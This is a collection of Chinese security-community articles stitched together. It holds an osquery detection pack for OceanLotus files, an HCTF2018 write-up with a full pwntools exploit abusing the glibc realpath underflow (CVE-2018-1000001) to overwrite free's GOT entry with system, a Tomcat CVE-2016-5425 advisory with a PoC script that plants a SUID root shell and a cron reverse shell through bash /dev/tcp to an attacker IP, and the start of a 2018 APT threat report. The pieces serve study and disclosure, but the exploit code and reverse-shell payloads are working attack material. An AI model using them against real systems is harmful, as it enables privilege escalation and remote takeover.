"query" : "select * from file where pattern = '/Users/%/Library/Logs/.Logs/corevideosd';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_2": {
"query" : "select * from file where path = '/Library/Logs/.Logs/corevideosd';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_3": {
"query" : "select * from file where pattern = '/Users/%/Library/.SystemPreferences/.prev/.ver.txt';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_4": {
"query" : "select * from file where path = '/Library/.SystemPreferences/.prev/.ver.txt';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_5": {
"query" : "select * from file where pattern = '/Users/%/Library/Parallels/.cfg';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_6": {
"query" : "select * from file where path = '/Library/Parallels/.cfg';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_7": {
"query" : "select * from file where pattern = '/Users/%/Library/Preferences/.fDTYuRs';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_8": {
"query" : "select * from file where pattern = '/Users/%/Library/Hash/.Hashtag/.hash';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_9": {
"query" : "select * from file where path = '/Library/Hash/.Hashtag/.hash';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_10": {
"query" : "select * from file where pattern = '/Users/%/Library/Hash/.hash';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_11": {
"query" : "select * from file where path = '/Library/Hash/.hash';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_12": {
"query" : "select * from file where path = '/tmp/crunzip.temp.%';",
"interval" : "10",
"description" : "OceanLotus dropped file",
"value" : "Artifact used by this malware"
}
}
} | 社区文章 |
# HCTF2018 easyexp Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这道题目不同以往的CTF题目，出得非常新颖，用到了一个glibc的漏洞，CVE–2018-1000001，题目质量非常好（以前看到了这个CVE也想用来出题…..
## 程序逻辑分析
### main函数
### init_proc
初始化操作，setbuf
然后clone出了一个子进程
子进程运行以下函数
等待geteuid()返回的结果为0
然后mount tmpfs到/tmp，再chdir过去
回到init_proc函数
首先是将子进程中 /proc/child_pid/cwd这个字符串strdup，保存到bss段中
然后下面就是一系列的操作，看了下CVE–2018-1000001的分析报告，貌似是关于linux namespace的东西，我也不是很懂，这里就不多说了
首先chdir到子进程的 /proc/child_pid/cwd目录那里
然后要求输入home的名字，假如存在 . 或者 / 就会用home
在输入的名字下面还会创建home文件夹，然后在里面创建一个flag文件，往里面写入假flag
### main_process
在main函数我们可以知道程序有四个功能
* ls
* mkdir
* mkfile
* cat
#### ls
这个就真的是ls的功能了，输入没有任何限制，因此可以到处看，绕过tmpfs的沙盒，但是只能看，没有什么用
#### mkdir
这里判断了下路径是否为空
这里第一部分是循环创建文件夹
例如
mkdir /home/abc/bcd
这里会先创建 /home 然后创建 /home/abc 最后创建 /home/abc/bcd
循环结束后，会调用canonicalize_file_name这个函数去判断对应的路径是否存在
如果不存在的话就直接退出
#### mkfile
首先判断了路径里时候存在 .. 和 首个字符是否为/
这样就绕不出/tmp了
然后程序在bss段存了三个file结构体，在地址0x603180
结构体大概如下
struct file
{
char* content;
int size;
char[0x54] name;
}
这里的循环是判断mkfile的文件是否存在于三个file结构体中，如果存在的话，直接修改内存中的file
这里是判断current_ptr指向的file结构体是否有内容存在，假如存在的话，将内存的内容写入文件中
再free掉该file结构体的content
current_ptr在几个地方都可以被改变，如上面的修改file内容
这里的话，首先是将要建立的文件的名字复制到file结构体中
然后打开文件，要求输入内容，长度在1-0x1000中，然后利用strdup复制到堆内存中
再把指针赋值到file结构体中
还有用strlen得到长度，也赋值到file结构体中
最后关闭文件，改变current_ptr
#### cat
首先限制跟mkfile一样，这里不多说
然后一个循环，判断要cat的file是否存在于三个file结构体中，是的话就直接输出
如果不存在的话，打开对应的file，然后从里面读取0x100个字节，打印出来，关闭文件
## 漏洞分析
打的时候找了半天，一个漏洞都没找出来……..
虽然有strcpy，但是基本不可能溢出
然后主办方提示了要加载他们给的libc
然后我就看了下他给的libc，发现是 libc-2.23_9的 ，而我虚拟机的是 libc-2.23_10的
他给的libc跟网上下载的libc-2.23_9也是一模一样的
于是去找下change log，跟这个题目比较有关的这个update
* SECURITY UPDATE: Buffer underflow in realpath()
* debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
* Make getcwd(3) fail if it cannot obtain an absolute path
* CVE–2018-1000001
顺着找到了这个CVE的分析
<https://paper.seebug.org/528/>
所以是realpath造成的underflow
而canonicalize_file_name 这个函数其实只是简单包装了一下 realpath
我们可以简单测试一下
用
mkdir ../../../abc
getcwd得到的结果是
我们去看realpath的源码
一开始
start=end=name="../../../abc"
dest="(unreachable)/tmp"
所以一开始就进了红色框的那个else if
根据CVE分析
这里以为dest都是以/开头，而某一次更新之后，realpath的那个syscall对于不可到达的路径会返回(unrechable)开头的字符串
因此这里while循环会令dest一直自减直到碰到/ ，这就会造成underflow
dest会指向前一个chunk或者更前面的chunk中存在/这个字符的位置
然后程序会再循环几次，直到将 ../和./这些全部解析和清除
接下来到了一个esle块
里面有一个
会将我们输入的路径复制到dest指向的位置
例如我们输入
mkdir ../../../../abc
这里memcpy的是
memcpy(dest, "abc",3);
复制完毕之后
这里会拿到文件的信息
假如说文件不存在的话，会返回-1，跳到error
而error的话，这个realpath 函数会直接返回 NULL
但是程序那里如果检测到canonicalize_file_name返回的是NULL
就直接exit了
因此我们要绕过 __lxstat64 这个检查
我们可以下个断点看下它检查的是什么
判断的是 (unreachable)/tmp是否存在
我们可以试着用mkdir这个功能看一下能否创建
试一下其他名字
发现也不行
其实在审计程序漏洞的时候已经注意到这个问题了，但是好像也利用不了，因此也没怎么管
那我们要怎么创建一个(unreachable)文件夹呢？
一开始要求输入名字就是关键，我们可以输入(unreachable)，这个它就会帮我们创建一个(unreachable)文件夹
我们可以简单测试一下是否绕过了检查
可以看到是成功绕过了
那么怎么利用呢？
我们可以构造出类似下面的内存布局
+----------+-----------+
| | |
| | |
+----------------------+
| aaa/ | size1 |
| | |
+----------------------+
| | |
| | |
+----------------------+
| | size2 |
| | |
+----------------------+
| | |
| | |
+----------------------+
| | size3 |
| | |
+----------+-----------+
| (unreachable)/tmp |
| |
+----------------------+
利用realpath那个memcpy可以改写size1，这样就能把size改大，直接控制size2所在的chunk
之后就变成常规的堆题了，利用起来也非常简单，unsafe unlink，可以拿到任意读和任意写
将free的got表中的值改为 system
free(“/bin/sh”)就变成了 system(“/bin/sh”)
这样就能拿到shell
下面是我的payload
from pwn import *
debug=1
context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
#p=process('./easyexp')
p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
gdb.attach(p)
else:
p=remote('150.109.46.159', 20004)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def mkfile(name,content):
sl('mkfile '+name)
ru('write something:')
sl(content)
ru('$')
def cat(name):
sl('cat '+name)
return ru('$')
if not debug:
ru('Input your token:')
sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')
ru("input your home's name: ")
se('(unreachable)n')
ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)
sl('mkdir ../../../../ax41')
cat('(unreachable)/tmp')
mkfile('4','a'*0x37)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))
mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)
mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))
mkfile('8','/bin/sh')
mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])
data=cat('77')
base=u64(data[1:7]+'x00x00')-e.symbols['free']
system = base+e.symbols['system']
mkfile('77',p64(system)[:6])
cat('4')
sl('mkfile 99')
print(hex(base))
p.interactive() | 社区文章 |
# 【漏洞预警】Apache Tomcat 8/7/6 (基于RedHat发行版的)本地提权漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
I. 漏洞描述
Apache Tomcat （基于RedHat发行版）的本地提权漏洞
**II. 背景介绍**
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器，按照Sun
Microsystems提供的技术规范，实现了对Servlet和JavaServer
Page（JSP）的支持，并提供了作为Web服务器的一些特有功能，如Tomcat管理和控制平台、安全域管理和Tomcat阀等。
官方网站：http://tomcat.apache.org/
**III.介绍**
Apache Tomcat （基于RedHat发行版）的安装包（包括CentOS, RedHat, OracleLinux,
Fedora,等等）安装后由于文件权限配置不当，会新建一个允许tomcat用户权限读写tmpfiles.d的配置文件（例如，攻击者可以利用WEB漏洞来读写此文件），从而允许攻击者从tomcat用户权限提升到root权限，实现完全控制系统。
**IV.漏洞描述**
基于RedHat发行版的Tomcat安装后，tomcat组用户对tomcat.conf文件具有写权限，如下
[root@localhost ~]# ls -al /usr/lib/tmpfiles.d/tomcat.conf
-rw-rw-r--. 1 root tomcat 43 May 12 2015 /usr/lib/tmpfiles.d/tomcat.conf
tmpfiles.d目录下的配置文件是systemd-tmpfiles用于管理临时文件的，攻击者可以非常容易的注入恶意payload进tomcat.conf文件，比如新建一个反弹SHELL，新建一个具有SUID权限的文件。当/usr/bin/systemd-tmpfiles执行的时候，注入的payload也会随之得到执行。
在REDHAT发行版，默认启动后，systemd-tmpfiles会通过systemd-tmpfiles-setup.service服务得到执行，如下：
[root@localhost www]# cat /usr/lib/systemd/system/systemd-tmpfiles-setup.service |grep ExecStart
ExecStart=/usr/bin/systemd-tmpfiles --create --remove --boot --exclude-prefix=/dev
依赖于系统使用，systemd-tmpfiles也可以通过其他服务，cronjobs,启动脚本，等方式来触发。值得说明的另外一个地方是， systemd-tmpfiles不会因为配置文件中的语法错误导致报错停止。因此攻击者可以很容易的注入恶意PAYLOAD到/usr/lib/tmpfiles.d/tomcat.conf
根据下面的POC，我们可以看到
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1
被注入到tomcat.conf ，意思是反弹SHELL，并新建一个具有SUID权限的shell,具体C，z,F的含义，我们可以通过 man 5
tmpfiles.d来查看。
**V. POC和本地测试**
-----------[ tomcat-RH-root.sh ]---------
#!/bin/bash
# Apache Tomcat packaging on RedHat-based distros - Root Privilege Escalation PoC Exploit
# CVE-2016-5425
#
# Full advisory at:
# http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html
#
# Discovered and coded by:
# Dawid Golunski
# http://legalhackers.com
#
# Tested on RedHat, CentOS, OracleLinux, Fedora systems.
#
# For testing purposes only.
#
ATTACKER_IP=127.0.0.1
ATTACKER_PORT=9090
echo -e "n* Apache Tomcat (RedHat distros) - Root PrivEsc PoC CVE-2016-5425 *"
echo -e " Discovered by Dawid Golunskin"
echo "[+] Checking vulnerability"
ls -l /usr/lib/tmpfiles.d/tomcat.conf | grep 'tomcat'
if [ $? -ne 0 ]; then
echo "Not vulnerable or tomcat installed under a different user than 'tomcat'"
exit 1
fi
echo -e "n[+] Your system is vulnerable!"
echo -e "n[+] Appending data to /usr/lib/tmpfiles.d/tomcat.conf..."
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
C /usr/share/tomcat/rootsh 4770 root root - /bin/bash
z /usr/share/tomcat/rootsh 4770 root root - F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0<&1 2>&1 & nn"
_eof_
echo "[+] /usr/lib/tmpfiles.d/tomcat.conf contains:"
cat /usr/lib/tmpfiles.d/tomcat.conf
echo -e "n[+] Payload injected! Wait for your root shell...n"
echo -e "Once '/usr/bin/systemd-tmpfiles --create' gets executed (on reboot by tmpfiles-setup.service, by cron, by another service etc.),
the rootshell will be created in /usr/share/tomcat/rootsh.
Additionally, a reverse shell should get executed by crond shortly after and connect to $ATTACKER_IP:$ATTACKER_PORT n"
--------------[ eof ]--------------------
本地测试：
1.先确定下本地LINUX发行版本和TOMCAT版本
2.切换到tomcat组权限下，附加恶意payload到/usr/lib/tmpfiles.d/tomcat.conf文件中
cat<<_eof_>>/usr/lib/tmpfiles.d/tomcat.conf
F /etc/cron.d/tomcatexploit 0644 root root - "* * * * * root nohup bash -i >/dev/tcp/192.168.1.3/9999 0<&1 2>&1 & nn"
_eof_
3.root权限下手动触发/usr/bin/systemd-tmpfiles –create
[这步比较鸡肋，依赖系统有其他服务，cronjobs,启动脚本来触发，如果系统有，则好，如果没有，这个漏洞相对利用来说，需要触发systemd-tmpfiles，有点鸡肋]
[root@localhost Desktop]# /usr/bin/systemd-tmpfiles --create
4.获取反弹ROOT权限的SHELL
**VI.漏洞影响**
攻击者可以在具有tomcat权限时，通过改写配置文件实现本地提权到ROOT权限。如果远程攻击者结合特定的WEB应用程序漏洞，也可以实现远程利用。
**VII. 影响的版本**
– CentOS
– Fedora
– Oracle Linux
– RedHat
Redhat官网细节:https://access.redhat.com/security/cve/CVE-2016-5425
**VIII.解决办法**
1.临时修复建议
可以调整/usr/lib/tmpfiles.d/tomcat.conf权限，移除tomcat组的写权限
chmod 644 /usr/lib/tmpfiles.d/tomcat.conf
2\. 更新最新Tomcat包
Redhat安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。
**IX.参考**
[http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html](http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html)
The source code of the exploit (tomcat-RH-root.sh) can be downloaded from:
[http://legalhackers.com/exploits/tomcat-RH-root.sh](http://legalhackers.com/exploits/tomcat-RH-root.sh)
CVE-2016-5425
[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5425)
<https://access.redhat.com/security/cve/CVE-2016-5425> | 社区文章 |
# 前言
> 此篇来了解一下如何对内存寄存器进行直接存取
## 通过直接地址写入
对于`.bss`段等固定地址的变量我们可以利用`claripy`直接地址写入，进行初始化`state`。下面我通过一个例子进行简单说明。
#### 例题来自于`sym-write`
载入IDA
其中变量`u`位于`.bss`段，是未初始化的变量，我们可以在`state`状态，初始化`simulation_manager`的`state`时，将其设置.
为了可以进行符号地址的写入，在设置`state`需要申明`add_options={"SYMBOLIC_WRITE_ADDRESSES"}`
angr提供了`SimMemory`类对内存进行操作。
并且提供了两种方法
通过上下文，可以知道`u`是一个8bit的值。因此我们通过`state.memory.store(0x804a021,
u)`将`u`存储到`0x804a021`处
然后设置需要到达的路径即可
`sm.explore(find=0x80484e3, avoid=0x80484f5)`
> 是不是很简单呢～
## 操纵内存以及寄存器数据
例题来自`flareon2015_2`
IDA载入，发现是windows程序，而且逻辑也很简单。
为了避免调用`windows`的API，我们需要从`0x401084`设为起始状态，并且设置好传入的参数。
通过上下文，可以知道`0x402159`存放的是输入的数据，根据windows 32 位参数传递规则，我们可以如下进行构造。
s.memory.store(s.regs.esp+12, s.solver.BVV(40, s.arch.bits))
s.mem[s.regs.esp+8:].dword = 0x402159
s.mem[s.regs.esp+4:].dword = 0x4010e4
s.mem[s.regs.esp:].dword = 0x401064
其中`s.mem[s.regs.esp:].dword`用来设置内存的值，并且大小为`dword`
angr支持许多类型的数据，包括`dword`,`word`,`long`,`int`,`uint8_t`,`uint32_t`等等。我建议只要对自己的理解不产生影响，选取合适类型即可。我通常会选择`uint8_t`之类的数据类型，毕竟对`linux`编程比较熟悉。
完整代码如下：
#!/usr/bin/env python
import angr
def main():
b = angr.Project("very_success", load_options={"auto_load_libs":False})
# create a state at the checking function
# Since this is a windows binary we have to start after the windows library calls
# remove lazy solves since we don't want to explore unsatisfiable paths
s = b.factory.blank_state(addr=0x401084)
# set up the arguments on the stack
s.memory.store(s.regs.esp+12, s.solver.BVV(40, s.arch.bits))
s.mem[s.regs.esp+8:].dword = 0x402159
s.mem[s.regs.esp+4:].dword = 0x4010e4
s.mem[s.regs.esp:].dword = 0x401064
# store a symbolic string for the input
s.memory.store(0x402159, s.solver.BVS("ans", 8*40))
# explore for success state, avoiding failure
sm = b.factory.simulation_manager(s)
sm.explore(find=0x40106b, avoid=0x401072)
# print(the string)
found_state = sm.found[0]
return found_state.solver.eval(found_state.memory.load(0x402159, 40), cast_to=bytes).strip(b'\0')
def test():
assert main() == b'[email protected]'
if __name__ == '__main__':
print(main())
## 经典例题一
`angrbird`这题比较经典。
首先程序很直接的反调试，而且又是这种线性的混淆，这用angr来解决是再合适不过了。
一条斜线。有点飘。
其中刚开始的部分就是反调试，通常的做法是`patch`程序，不过这里用angr来解决。
为了绕过反调试我们需要将入口地址设置在`mov rdx, cs:stdin`也就是`0x4007C2`,同时结合IDA的分析，我们需要将`mov
[rbp+var_70], offset off_606018`布局到相应的内存中，这里应该是在设置函数表。
同时我们还应该设置好`fgets`函数的参数`mov ecx, [rbp+n]`其中的`[rbp+n]`应该设置为`21`
同时为了执行程序还应该设置`mov rbp, rsp`
这几步是必不可少的，因为跳过反调试，需要一定的代价。
因此初始化部分代码如下：
state.regs.rbp = state.regs.rsp
state.mem[state.regs.rbp - 0x74].uint32_t = 0x40
state.mem[state.regs.rbp - 0x70].uint64_t = 0x1000
state.mem[state.regs.rbp - 0x68].uint64_t = 0x1008
state.mem[state.regs.rbp - 0x60].uint64_t = 0x1010
state.mem[state.regs.rbp - 0x58].uint64_t = 0x1018
正确设置完初始状态后就是正常的执行了。
## 经典例题二
此题使用angr有两种方法，分别是在不同的地方进行条件约束，我个人认为对angr的应用会有所帮助。仅做简单记录。
`google2016_unbreakable_1`
#### 方法一
通过命令行输入，并设置条件约束。
p = angr.Project('unbreakable',load_options={"auto_load_libs": False})
argv = claripy.BVS("argv",0x43*8)
state = p.factory.entry_state(args={"./unbreakable",argv},add_options={angr.options.LAZY_SOLVES})
state.libc.buf_symbolic_bytes=0x43 + 1
for byt in argv.chop(8):
state.add_constraints(state.solver.And(byt >= ord(' '),byt <= ord('~')))
其中的`state.libc.buf_symbolic_bytes=0x43 +
1`是非常有必要的，我看官方所说，angr默认的`symbolic_bytes`只有60bytes，对于这题来说太小了。也就是说如果命令行传入的大小大于默认的值，所以需要手动调整大小。
而且条件约束也是十分有必要的，这里说明一下`chop`方法：
意思就是截取，所以我们每8bits截取，然后进行条件约束。
代码如下：
import angr
import claripy
START_ADDR = 0x4005bd # first part of program that does computation
AVOID_ADDR = 0x400850 # address of function that prints wrong
FIND_ADDR = 0x400830 # address of function that prints correct
INPUT_ADDR = 0x6042c0 # location in memory of user input
INPUT_LENGTH = 0xf2 - 0xc0 + 1 # derived from the first and last character
# reference in data
def extract_memory(state):
"""Convience method that returns the flag input memory."""
return state.solver.eval(state.memory.load(INPUT_ADDR, INPUT_LENGTH), cast_to=bytes)
def main():
p = angr.Project('unbreakable',load_options={"auto_load_libs": False})
argv = claripy.BVS("argv",0x43*8)
state = p.factory.entry_state(args={"./unbreakable",argv},add_options={angr.options.LAZY_SOLVES})
state.libc.buf_symbolic_bytes=0x43 + 1
for byt in argv.chop(8):
state.add_constraints(state.solver.And(byt >= ord(' '),byt <= ord('~')))
ex = p.factory.simulation_manager(state)
ex.explore(find=(FIND_ADDR,), avoid=(AVOID_ADDR,))
flag = extract_memory(ex.found[0]) # ex.one_found is equiv. to ex.found[0]
print(flag)
if __name__ == '__main__':
main()
#### 方法二
第二种方法跳过命令行输入的过程，直接将值存储到引用的内存当中，并设置条件约束。比较简单。代码如下：
import angr
import claripy
START_ADDR = 0x4005bd # first part of program that does computation
AVOID_ADDR = 0x400850 # address of function that prints wrong
FIND_ADDR = 0x400830 # address of function that prints correct
INPUT_ADDR = 0x6042c0 # location in memory of user input
INPUT_LENGTH = 0xf2 - 0xc0 + 1 # derived from the first and last character
def main():
p = angr.Project('unbreakable')
state = p.factory.blank_state(addr=START_ADDR, add_options={angr.options.LAZY_SOLVES})
flag_chars = [state.solver.BVS('flag_%d' % i, 8) for i in range(0x43)]
for flag_chr in flag_chars:
state.add_constraints(state.solver.And(flag_chr >= ord(' '),flag_chr <= ord('~')))
for i in range(0x43):
state.memory.store(INPUT_ADDR+i,flag_chars[i])
#state.
ex = p.factory.simulation_manager(state)
ex.explore(find=(FIND_ADDR,), avoid=(AVOID_ADDR,))
found = ex.found[0]
flag = found.solver.eval(state.memory.load(INPUT_ADDR, INPUT_LENGTH), cast_to=bytes)
print(flag)
if __name__ == '__main__':
main()
# 总结
通过以上四道例题，相信大家对angr的内存寄存器有一定的了解，如果有必要，我们可以另设一个起始状态，然后设置好所需的参数。
> 下面后介绍angr中的Hook | 社区文章 |
# 全球高级持续性威胁2018年总结报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 序言
Threat Actor（即攻击者），在威胁情报中用于描述实施网络攻击威胁的个人、团伙或组织以达到其恶意的动机和意图。
攻击者，是为了标记对实施网络威胁攻击的人、团伙或者组织而建立的虚拟实体。通常将攻击者或其实施的攻击行动赋予独有的代号，以便于从广泛的攻击活动中识别、区分归属于该攻击来源相关的并进行持续性的威胁活动跟踪。以攻击者的维度持续跟踪威胁活动，持续完善攻击者画像的拼图，能够更好的完成挖掘威胁攻击背后的动机，追溯攻击真实的来源，研究攻击技术的演变，提供更有效的安全防御策略。
结合2018年全年国内外各个安全研究机构、安全厂商披露的威胁活动，以及近几年来历史披露的高级持续性威胁活动，通常APT组织和网络犯罪组织的威胁尤为关注，其往往能够对行业、企业和机构造成更严重的影响，并且更加难于发现和防御。
APT组织，通常具有国家或情报机构背景，或者专门实施网络间谍活动，其攻击动机主要是长久性的情报刺探、收集和监控，也会实施如牟利和破坏为意图的攻击威胁。APT组织主要攻击的目标包括政府、军队、外交、国防外，也覆盖科研、能源以及国家基础设施性质的行业和产业。
网络犯罪组织主要以牟取经济利益而实施攻击活动，近年来，数个活跃的网络犯罪组织也呈现出明确的组织化特点，并且使用其自身特色的攻击工具和战术技术。网络犯罪组织对于如金融、银行、电子商务、餐饮零售等行业带来了巨大的资金损失和业务安全风险。
本报告是360威胁情报中心基于收集的公开威胁情报和内部产生的威胁情报数据，对2018年全年高级持续性威胁相关研究的总结报告，主要内容分成三个部分：
1. 高级持续性威胁背后的攻击者
结合全年国内外各个安全研究机构、安全厂商披露的高级威胁活动报告内容的统计分析，对2018年高级威胁类攻击态势进行总结。
2. 针对中国境内的APT组织和威胁
基于360威胁情报中心内部对多个针对中国境内的APT组织持续跟踪，包括海莲花、摩诃草、Darkhotel、蓝宝菇、毒云藤等组织都在2018年对中国境内目标机构和人员频繁实施攻击活动，这里对上述组织相关攻击活动进行回顾。
3. APT威胁的现状和挑战
最后总结APT威胁的现状和应对APT威胁所面临的挑战，并对APT威胁的变化趋势进行合理的预测。
## 主要观点
* 网络间谍活动变得更加普遍化，这对高级持续性威胁活动的持续跟踪带来一些挑战。我们需要更加明确的区分和识别高级持续性威胁攻击，以及能够明确来源归属的攻击组织。而对于不能明确归属的APT威胁，需要依赖于持续的威胁跟踪和更多的数据证据佐证。
* APT威胁的归属问题正在变得更加明显，其原因可能包括攻击者不断变化的攻击武器和使用更加匿名化的控制基础设施，以及引入的false flag或刻意模仿的攻击战术技术，一些成熟而完善的公开渗透工具给攻击者带来了更好的选择。
* 2018年，360公开披露了两个新的针对中国境内的APT组织，以及多个针对中国境内频繁的APT威胁活动，可以看到随着我国在国际形势中的日益发展，地缘政治、外交形势等立场下高级持续性威胁将变得更加严峻。
* 2018年多次曝光的在野0 day攻击的发现，展现了APT攻击者的技术能力储备和提升，威胁的攻击和防御变得更加白热化，APT威胁的防御和响应的时效性变得尤为重要。
* 威胁攻击者也在发掘一些新的攻击方式，也包括使用了部分“陈旧而古老”的技术特性，绕过或逃避威胁检测机制从而实施攻击，结合目标人员的安全意识弱点往往也能够取得不错的攻击效果。
## 摘要
* 360威胁情报中心在2018年监测到的高级持续性威胁相关公开报告总共478篇，其中下半年报告披露的频次和数量明显高于上半年。从公开报告的发布渠道统计来看，2018年国内安全厂商加大了对高级威胁攻击事件及相关攻击者的披露频率，其中360来源披露的高级威胁类报告数量处于首位，并且明显超过其他安全厂商。
* 在对APT威胁攻击的持续跟踪过程中，通常会将明确的 APT 攻击行动或攻击组织进行命名，用于对攻击背后实际的攻击组织映射成一个虚拟的代号，以便更好的区分和识别具体来源的攻击活动。历史披露的明确的APT攻击组织至少有80个。
* 截至目前，360威胁情报中心明确的针对中国境内实施攻击活动的，并且依旧活跃的 公开APT 组织，包括海莲花，摩诃草，蔓灵花，Darkhotel，Group 123，毒云藤和蓝宝菇，其中毒云藤和蓝宝菇是360在2018年下半年公开披露并命名的 APT 组织。
* APT威胁也不再是APT组织与安全厂商之间独有的“猫和老鼠”的游戏，还作为国家与国家之间博弈以及外交舆论层面的手段。例如美国司法部在2018年就多次公开指控了被认为是他国黑客成员对其本土的网络威胁活动，最为详细的就是指控朝鲜黑客PARK JIN HYOK 历史涉及的攻击活动，而过去影子经纪人曝光的NSA网络武器库资料，维基解密曝光的Vault 7项目以及卡巴斯基披露的Slingshot攻击行动都被认为与美国本土情报机构有关。
## 公开披露的全球高级持续性威胁
360威胁情报中心在2018年持续对高级持续性威胁相关的公开报告进行收集，其中包括但不限于以下类型。
APT攻击团伙报告、APT攻击行动报告、疑似APT的定向攻击事件、和APT攻击相关的恶意代码和漏洞分析，以及我们认为需要关注的网络犯罪团伙及其相关活动。
国内外安全厂商、安全研究人员通常会对高级持续性威胁活动涉及的攻击团伙、攻击活动进行命名，并以”Actor / Group /
Gang”等对威胁背后的攻击者进行称谓，其中包括了明确的APT组织，明确的网络犯罪团伙，以及暂时不太明确攻击者信息的攻击活动命名。
不同的安全厂商有时候会对同一背景来源的威胁进行不同的别名命名，这取决于其内部在最早跟踪威胁活动时的命名约定，所以往往需要根据威胁攻击的同一来源进行归类。
我们结合上述说明对自身收集渠道收集的公开报告内容进行分析，并从公开披露的信息中公布全球高级持续性威胁的态势情况。
### 数量和来源
360威胁情报中心在2018年监测到的高级持续性威胁相关公开报告总共478篇，其中下半年报告披露的频次和数量明显高于上半年。
从公开报告的发布渠道统计来看，2018年国内安全厂商加大了对高级威胁攻击事件及相关攻击者的披露频率，其中360来源披露的高级威胁类报告数量处于首位，并且明显超过其他安全厂商。
从不同安全厂商披露的相关攻击者、攻击行动以及其中明确的APT组织数量来看，国内安全厂商也和国外主流安全厂商，如 Palo Alto
Networks、卡巴斯基、趋势相差无几。在本报告的第二章中我们将介绍对APT组织定义的看法。
### 受害目标的行业与地域
从公开披露的高级威胁活动中涉及目标行业情况来看(摘录自公开报告中提到的攻击目标所属行业标签)，政府、外交、军队、国防依然是 APT 攻击者的主要目标，这也与
APT 攻击的主要意图和目的有关，值得注意的是国家的基础性行业也正面临着高级威胁攻击的风险，如能源、电力、工业、医疗等。
而金融行业主要面临一些成熟的网络犯罪团伙的攻击威胁，如MageCart、Cobalt
Group等等，其组织化的成员结构和成熟的攻击工具实现对目标行业的规模化攻击，这与过去的普通黑客攻击是完全不同的。除了针对金融、银行外，电子商务、在线零售等也是其攻击目标。
[](https://p1.ssl.qhimg.com/t010f4417c4aaff2548.png)
而高级威胁活动涉及目标的国家和地域分布情况统计如下图（摘录自公开报告中提到的受害目标所属国家或地域），可以看到高级威胁攻击活动几乎覆盖了全球绝大部分国家和区域。
### 威胁攻击者
进一步对公开报告中高级威胁活动中命名的攻击行动名称、攻击者名称，并对同一背景来源进行归类处理后的统计情况如下，总共涉及109个命名的威胁来源命名。基于全年公开披露报告的数量统计，一定程度可以反映威胁攻击的活跃程度。
从上述威胁来源命名中，我们认为明确的APT组织数量有53个（在下一章将介绍我们对APT组织定义的看法），对APT组织相关披露报告数量统计如下。
## 三. 高级持续性威胁背后的攻击者
APT 威胁，通常作为与地缘政治、情报活动意图下的网络间谍活动，实施长久性的情报刺探、收集和监控。实施 APT
攻击的攻击组织，通常具有国家、政府或情报机构背景，其拥有丰富的资源用于实施攻击活动。
在对 APT 威胁攻击的持续跟踪过程中，通常会将明确的 APT
攻击行动或攻击组织进行命名，用于对攻击背后实际的攻击组织映射成一个虚拟的代号，以便更好的区分和识别具体来源的攻击活动。
在对历史公开的 APT威胁的研究过程中，我们发现对 APT 类威胁的大量命名，给实际的 APT 威胁归属问题的分析带来了困扰，需要更加明确的对实施 APT
